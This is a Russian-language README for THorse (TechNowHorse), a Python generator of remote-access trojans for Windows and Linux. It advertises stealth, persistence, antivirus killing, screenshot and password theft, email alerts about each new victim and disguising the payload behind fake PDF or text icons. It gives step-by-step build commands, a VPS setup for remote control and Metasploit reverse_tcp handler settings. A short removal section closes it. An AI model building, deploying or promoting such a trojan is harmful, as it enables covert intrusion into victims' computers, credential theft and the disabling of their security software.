THorse

THorse — это генератор RAT (Remote Administrator Trojan) для систем Windows/Linux, написанный на Python 3.

                    Этот небольшой python-скрипт умеет делать по-настоящему потрясающие вещи.

Отказ от ответственности

:computer: Этот проект был создан только в благих целях и для личного использования.

ДАННОЕ ПРОГРАММНОЕ ОБЕСПЕЧЕНИЕ ПРЕДОСТАВЛЯЕТСЯ «КАК ЕСТЬ» БЕЗ КАКИХ-ЛИБО ГАРАНТИЙ. ВЫ МОЖЕТЕ ИСПОЛЬЗОВАТЬ ЭТО ПРОГРАММНОЕ ОБЕСПЕЧЕНИЕ НА СВОЙ СОБСТВЕННЫЙ РИСК. ИСПОЛЬЗОВАНИЕ ЯВЛЯЕТСЯ ПОЛНОЙ ОТВЕТСТВЕННОСТЬЮ КОНЕЧНОГО ПОЛЬЗОВАТЕЛЯ. РАЗРАБОТЧИКИ НЕ НЕСУТ НИКАКОЙ ОТВЕТСТВЕННОСТИ И НЕ ОТВЕЧАЮТ ЗА ЛЮБОЕ НЕПРАВИЛЬНОЕ ИСПОЛЬЗОВАНИЕ ИЛИ УЩЕРБ, ПРИЧИНЁННЫЙ ЭТОЙ ПРОГРАММОЙ.

Возможности

• Работает на Windows/Linux
• Уведомляет о новой жертве по электронной почте
• Не обнаруживаемый
• Не требует прав root или администратора
• Персистентность
• Отправляет скриншот экрана ПК жертвы по электронной почте
• Предоставляет атакующему полный доступ через Meterpreter
• Для создания трояна не требуется установленный Metasploit
• Создаёт исполняемый бинарный файл без зависимостей
• Создаёт полезную нагрузку размером около 5 МБ с расширенной функциональностью
• Обфусцирует полезную нагрузку перед компиляцией, обходя таким образом ещё несколько антивирусов
• Сгенерированная полезная нагрузка кодируется в Base64, из-за чего её чрезвычайно сложно подвергнуть обратной разработке
• Убивает антивирус на ПК жертвы и пытается отключить Центр безопасности Windows
• Отличный красочный интерфейс для генерации полезной нагрузки

Примечание: кастомный стилер написан с нуля и не полагается на LaZagne

Протестировано на

Kali Linux - ROLLING EDITION

Windows 10

Windows 8.1 - Pro

Windows 7 - Ultimate

Ниже перечислены ограничения meterpreter-полезной нагрузки, созданной с помощью Metasploit:-

• Необходимо запустить Metasploit Listener до выполнения бэкдора
• Бэкдор сам по себе не обеспечивает персистентность; чтобы сделать его персистентным, нам приходится использовать постэксплуатационные модули. А постэксплуатационные модули могут быть использованы только после успешной эксплуатации.
• Не уведомляет нас при каждом выполнении полезной нагрузки в новой системе.

Мы все знаем, насколько мощной является полезная нагрузка Meterpreter, но всё же созданная на её основе полезная нагрузка неудовлетворительна.

Ниже приведены возможности этого генератора полезной нагрузки, которые дадут вам хорошее представление об этом python-скрипте:-

• Использует реестр Windows для обеспечения персистентности в Windows.
• Также обеспечивает персистентность в Linux-системах.
• Полезная нагрузка может работать как в Linux, так и в Windows.
• Предоставляет полный доступ; можно использовать как Metasploit listener, так и собственный listener (вы можете создать свой собственный listener)
• Отправляет уведомление по электронной почте при каждом запуске полезной нагрузки в новой системе, вместе с полной информацией о системе.
• Генерирует полезную нагрузку в течение 1 минуты или даже быстрее.
• Поддерживает все постэксплуатационные модули Meterpreter.
• Полезная нагрузка может быть создана как в Windows, так и в Linux.

Предварительные требования

• Python 3.X
• Несколько внешних модулей

Пожалуйста, обратите внимание:

В Windows укажите/задайте путь к Pyinstaller в paygen.py [строка 14]

Путь по умолчанию: PYTHON_PYINSTALLER_PATH = os.path.expanduser("C:/Python37-32/Scripts/pyinstaller.exe")

Измените его в соответствии с вашей системой

Как использовать в Linux

# Install dependencies 
$ Install latest python 3.x

# Navigate to the /opt directory (optional)
$ cd /opt/

# Clone this repository
$ git clone https://github.com/PushpenderIndia/thorse.git

# Go into the repository
$ cd thorse

# Installing dependencies
$ bash installer_linux.sh

# If you are getting any errors while executing installer_linux.sh, try to install using installer_linux.py
$ python3 installer_linux.py

$ chmod +x paygen.py
$ python3 paygen.py --help

# Making Payload/RAT
$ python3 paygen.py --ip 127.0.0.1 --port 8080 -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path

# Making Payload/RAT with Custom AVKiller [By Default, Tons of Know AntiVirus is added in Kill_Targets]
$ python3 paygen.py --ip 127.0.0.1 --port 8080 -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path --kill_av AntiVirus.exe

# Making Payload/RAT with Custom Time to become persistence
$ python3 paygen.py --ip 127.0.0.1 --port 8080 -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path --persistence 10 

Note: You can also use our custom icons from the icon folder, just use them like this  --icon icon/pdf.ico

Как использовать на VPS (рекомендуется)

# 1. Setup a VPS, You can buy Ubuntu VPS from any VPS Provider such as Digital Ocean, Linode, AWS, etc

# 2. Connect to your VPS Using SSH
$ ssh username@ip_address

# 3. Update Your Linux VPS
$ sudo apt update

# 4. Add Kali Linux Repository
$ sudo sh -c "echo 'deb https://http.kali.org/kali kali-rolling main non-free contrib' > /etc/apt/sources.list.d/kali.list"

# 5. Install gnupg package
$ sudo apt install gnupg

# 6. Add Kali Public Keys
$ wget 'https://archive.kali.org/archive-key.asc' && sudo apt-key add archive-key.asc

# 7. Update VPS
$ sudo apt update

# 8. Set Kali Priority
$ sudo sh -c "echo 'Package: *'>/etc/apt/preferences.d/kali.pref; echo 'Pin: release a=kali-rolling'>>/etc/apt/preferences.d/kali.pref; echo 'Pin-Priority: 50'>>/etc/apt/preferences.d/kali.pref"

# 9. Update VPS
$ sudo apt update

# 10. Install Metasploit Framework in VPS
$ sudo apt install -t kali-rolling metasploit-framework

# NOTE: Above Steps needs to be performed only for once 

# 11. Install pip3
$ sudo apt install python3-pip

# 12. Clone this repository
$ git clone https://github.com/PushpenderIndia/thorse.git

# 13. Go into the repository
$ cd thorse

# 14. Installing dependencies
$ bash installer_linux.sh

# 15. If you are getting any errors while executing installer_linux.sh, try to install using installer_linux.py
$ python3 installer_linux.py

$ 16. chmod +x paygen.py
$ python3 paygen.py --help

# Making Payload/RAT (If you want to Compile RAT for Windows, then Build RAT on Windows Machine & Use VPS for Controlling RAT Remotely)
$ python3 paygen.py --ip VPS_Public_IP_Address --port 8080 -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path

# Making Payload/RAT with Custom AVKiller [By Default, Tons of Know AntiVirus is added in Kill_Targets]
$ python3 paygen.py --ip VPS_Public_IP_Address --port 8080 -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path --kill_av AntiVirus.exe

# Making Payload/RAT with Custom Time to become persistence
$ python3 paygen.py --ip VPS_Public_IP_Address --port 8080 -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path --persistence 10 

Note: You can also use our custom icons from the icon folder, just use them like this  --icon icon/pdf.ico

Как использовать в Windows

# Install dependencies 
$ Install latest python 3.x

# Clone this repository
$ git clone https://github.com/PushpenderIndia/thorse.git

# Go into the repository
$ cd thorse

# Installing dependencies
$ python -m pip install -r requirements.txt

# Open paygen.py in Text editor and Configure Line 15, set Pyinstaller path, Default Path is as follows :-
# PYTHON_PYINSTALLER_PATH = os.path.expanduser("C:/Python37-32/Scripts/pyinstaller.exe") 

# Getting Help Menu
$ python paygen.py --help

# Making Payload/RAT
$ python paygen.py --ip 127.0.0.1 --port 8080 -e [email protected] -p YourEmailPass -w -o output_file_name --icon icon_path

# Making Payload/RAT with Custom AVKiller [By Default, Tons of Know AntiVirus is added in Kill_Targets]
$ python paygen.py --ip 127.0.0.1 --port 8080 -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path --kill_av AntiVirus.exe

# Making Payload/RAT binded with legitimate file [Any file .exe, .pdf, .txt etc]
$ python paygen.py --ip 127.0.0.1 --port 8080 -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon/txt.ico --bind passwords.txt 

Note: You can also use our custom icons from the icon folder, just use them like this  --icon icon/pdf.ico

Примечание: вредоносный файл будет сохранён внутри папки dist/, в папке technowhorse/

Установление соединения с помощью Msfconsole

• Вам необходимо установить Metasploit-Framework в вашей системе для установления соединения

• Рекомендуемые настройки; вы можете попробовать протестировать с любой другой полезной нагрузкой в строке 2

$ sudo msfconsole
msf3> use exploit/multi/handler
msf3> set payload python/meterpreter/reverse_tcp
msf3> set LHOST 192.168.43.221
msf3> set LPORT 443
msf3> run

Как обновить

• Запустите updater.py для автоматического обновления или скачайте последний Zip из этого GitHub-репозитория
• Примечание: для использования updater.py должен быть установлен Git

Доступные аргументы

• Необязательные аргументы

Примечание: необходимо указать либо -w/--windows, либо -l/--linux

• Обязательные аргументы

Новые скриншоты:

Получение справки

Генерация полезной нагрузки

Также обратите внимание на эти старые изображения

~Старые скриншоты:

Получение справки

Запуск скрипта paygen.py

Когда RAT запускается, он добавляет запись в реестр для обеспечения персистентности

Создаёт свою копию и сохраняет её в папке Roaming

Отчёт, отправленный RAT

Получение уведомления с ПК жертвы

Участники:

В настоящее время этот репозиторий поддерживается мной (Pushpender Singh). Но если вы хотите стать участником, добавьте какую-нибудь интересную функцию и сделайте pull request — я рассмотрю его и объединю с этим репозиторием.

Все pull request'ы участников будут приняты, если их pull request будет полезен для этого репозитория.

TODO

• Добавить новые функции
• Добавить GUI

Удаление TechNowHorse в Windows:

Метод 1:

• Перейдите в меню «Пуск», введите regedit и запустите первую программу — откроется редактор реестра.
• Перейдите по следующему пути Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Там должна быть запись с именем winexplorer — щёлкните по этой записи правой кнопкой мыши и выберите «Удалить».
• Перейдите в ваш пользовательский путь > AppData > Roaming — вы увидите файл с именем «explorer.exe», это и есть RAT. Щёлкните правой кнопкой мыши > «Удалить».
• Перезагрузите систему.

Метод 2:

• Запустите «RemoveTHorse.bat» в заражённой системе, а затем перезагрузите ПК, чтобы остановить текущий запущенный вредоносный файл.

Удаление TechNowHorse в Linux:

• Откройте файл автозапуска любым текстовым редактором, Путь к файлу автозапуска: ~/.config/autostart/xinput.desktop

• Удалите эти 5 строк:

  root@kitploit:~

     [Desktop Entry]
     Type=Application
     X-GNOME-Autostart-enabled=true
     Name=Xinput
     Exec="destination_file_name"
  

• Примечание: destination_file_name — это имя вредоносного файла, которое вы указали для вашего TrojanHorse с помощью параметра -o

• Перезагрузите систему, а затем удалите вредоносный файл, сохранённый по следующему пути

• Путь назначения, где хранится TrojanHorse: ~/.config/xnput

Участники

• Список участников: Contributors

Pushpender Singh :computer:

Приветствуются любые вклады!

ПРИМЕЧАНИЕ: Если вы должны быть в списке участников, но мы забыли вас, обязательно сообщите нам!

TODO List

• Предложите свою собственную функцию : )
• Разработка GUI
• Исправление ошибок
• Добавить больше похитителей паролей из браузеров